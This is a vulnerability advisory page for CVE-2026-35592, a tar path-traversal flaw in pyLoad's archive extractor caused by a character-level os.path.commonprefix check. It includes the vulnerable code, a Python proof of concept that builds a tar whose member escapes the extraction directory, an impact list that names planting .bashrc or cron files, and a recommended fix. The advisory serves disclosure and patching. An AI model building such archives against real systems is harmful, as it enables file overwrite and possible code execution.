CVE-2026-35592: pyLoad has an Incomplete Tar Path Traversal Fix in UnTar._safe_extractall via os.path.commonprefix Bypass

Published Apr 7, 2026
·
Updated

Summary

The safeextractall() function in src/pyload/plugins/extractors/UnTar.py uses os.path.commonprefix() for its path traversal check, which performs character-level string comparison rather than path-level comparison. This allows a specially crafted tar archive to write files outside the intended extraction directory. The correct function os.path.commonpath() was added to the codebase in the GHSA-7g4m-8hx2-4qh3 fix (commit 5f4f0fa) but was never applied to safeextractall(), making this an incomplete fix.

Details

The GHSA-7g4m-8hx2-4qh3 fix (commit 5f4f0fa) added a correct iswithindirectory() function to src/pyload/core/utils/fs.py:384-391 using os.path.commonpath():

python fs.py:384 — CORRECT implementation def iswithindirectory(basedir, targetdir): realbase = os.path.realpath(basedir) realtarget = os.path.realpath(targetdir) return os.path.commonpath([realbase, realtarget]) == realbase

However, the safeextractall() function in UnTar.py:10-22 was left unchanged with the broken os.path.commonprefix():

python UnTar.py:10-22 — VULNERABLE implementation def safeextractall(tar, path=".", members=None, , numericowner=False): def iswithindirectory(directory, target): absdirectory = os.path.abspath(directory) abstarget = os.path.abspath(target) prefix = os.path.commonprefix([absdirectory, abstarget]) # BUG: line 14 return prefix == absdirectory

for member in tar.getmembers(): memberpath = os.path.join(path, member.name) if not iswithindirectory(path, memberpath): raise ArchiveError("Attempted Path Traversal in Tar File (CVE-2007-4559)")

tar.extractall(path, members, numericowner=numericowner)

os.path.commonprefix() is a string operation, not a path operation. For extraction destination /downloads/pkg and a malicious member ../pkgevil/payload (resolving to /downloads/pkgevil/payload):

- commonprefix(['/downloads/pkg', '/downloads/pkgevil/payload']) → '/downloads/pkg' — equals the directory, check passes - commonpath(['/downloads/pkg', '/downloads/pkgevil/payload']) → '/downloads' — does NOT equal the directory, check correctly fails

The extraction path is reached via: ExtractArchive.packagefinished() (line 182) → extractqueued() → UnTar.extract() (line 76) → safeextractall(t, self.dest) (line 81).

PoC

Self-contained proof of concept demonstrating the bypass:

python import tarfile, io, os, shutil

dest = '/tmp/testextractiondir' shutil.rmtree(dest, ignoreerrors=True) shutil.rmtree('/tmp/testextractiondirpwned', ignoreerrors=True) os.makedirs(dest, existok=True)

Step 1: Create malicious tar with member that escapes via prefix trick with tarfile.open('/tmp/evil.tar.gz', 'w:gz') as tar: info = tarfile.TarInfo(name='../testextractiondirpwned/evil.txt') data = b'escaped the sandbox!' info.size = len(data) tar.addfile(info, io.BytesIO(data))

Step 2: Reproduce the vulnerable check from UnTar.py:11-15 def iswithindirectory(directory, target): absdirectory = os.path.abspath(directory) abstarget = os.path.abspath(target) prefix = os.path.commonprefix([absdirectory, abstarget]) return prefix == absdirectory

Step 3: Verify the check is bypassed with tarfile.open('/tmp/evil.tar.gz') as tar: for member in tar.getmembers(): memberpath = os.path.join(dest, member.name) bypassed = iswithindirectory(dest, memberpath) print(f'Member: {member.name}') print(f'Resolved: {os.path.abspath(memberpath)}') print(f'Check passes (should be False): {bypassed}') tar.extractall(dest)

Step 4: Confirm file was written outside extraction directory escapedfile = '/tmp/testextractiondirpwned/evil.txt' assert os.path.exists(escapedfile), "File did not escape" print(f'File escaped to: {escapedfile}') print(f'Content: {open(escapedfile).read()}')

Output: Member: ../testextractiondirpwned/evil.txt Resolved: /tmp/testextractiondirpwned/evil.txt Check passes (should be False): True File escaped to: /tmp/testextractiondirpwned/evil.txt Content: escaped the sandbox!

Impact

An attacker who hosts a malicious .tar.gz archive on a file hosting service can write files to arbitrary sibling directories of the extraction path when a pyLoad user downloads and extracts the archive. This enables:

- Writing files outside the intended extraction directory into adjacent directories - Overwriting other users' downloads - Planting malicious files in predictable locations on disk - If combined with other primitives (e.g., writing a .bashrc, cron job, or plugin file), this could lead to code execution

The attack requires the victim to download a malicious archive (either manually or via the pyLoad API with ADD permission) and have the ExtractArchive addon enabled.

Recommended Fix

Replace the broken inline iswithindirectory with the correct iswithindirectory from pyload.core.utils.fs:

python import os import sys import tarfile

from pyload.core.utils.fs import iswithindirectory, safejoin from pyload.plugins.base.extractor import ArchiveError, BaseExtractor, CRCError

Fix for tarfile CVE-2007-4559 def safeextractall(tar, path=".", members=None, , numericowner=False): for member in tar.getmembers(): memberpath = os.path.join(path, member.name) if not iswithindirectory(path, memberpath): raise ArchiveError("Attempted Path Traversal in Tar File (CVE-2007-4559)")

tar.extractall(path, members, numericowner=numericowner)

This removes the broken inline function and uses the already-existing correct implementation that was added in the GHSA-7g4m-8hx2-4qh3 fix.

Other sources

pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev97, the safeextractall() function in src/pyload/plugins/extractors/UnTar.py uses os.path.commonprefix() for its path traversal check, which performs character-level string comparison rather than path-level comparison. This allows a specially crafted tar archive to write files outside the intended extraction directory. The correct function os.path.commonpath() was added to the codebase in the CVE-2026-32808 fix (commit 5f4f0fa) but was never applied to safeextractall(), making this an incomplete fix. This vulnerability is fixed in 0.5.0b3.dev97.

— MITRE

Affected Software

2 affected componentsFixes available
pip/pyload-ng<0.5.0b3.dev97
0.5.0b3.dev97
Pyload-ng Project Pyload-ng Python<=0.5.0b3.dev96

Event History

Apr 7, 2026
CVE Published
via MITRE·04:11 PM
Data Sourced
via MITRE·04:11 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·05:16 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·05:16 PM
Affected Software
Apr 8, 2026
Advisory Published
via GitHub·12:04 AM
Data Sourced
via GitHub·12:04 AM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-35592?

CVE-2026-35592 has been classified with a medium severity due to its potential for path traversal vulnerabilities.

2

How do I fix CVE-2026-35592?

To mitigate CVE-2026-35592, ensure you upgrade pyLoad-ng to version 0.5.0b3.dev97 or later.

3

What software is affected by CVE-2026-35592?

CVE-2026-35592 affects all versions of pyLoad-ng up to and including 0.5.0b3.dev96.

4

What are the consequences of CVE-2026-35592?

Exploitation of CVE-2026-35592 could allow attackers to extract files outside of designated directories.

5

Is there a workaround for CVE-2026-35592?

There is no official workaround for CVE-2026-35592; updating the software is the recommended solution.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203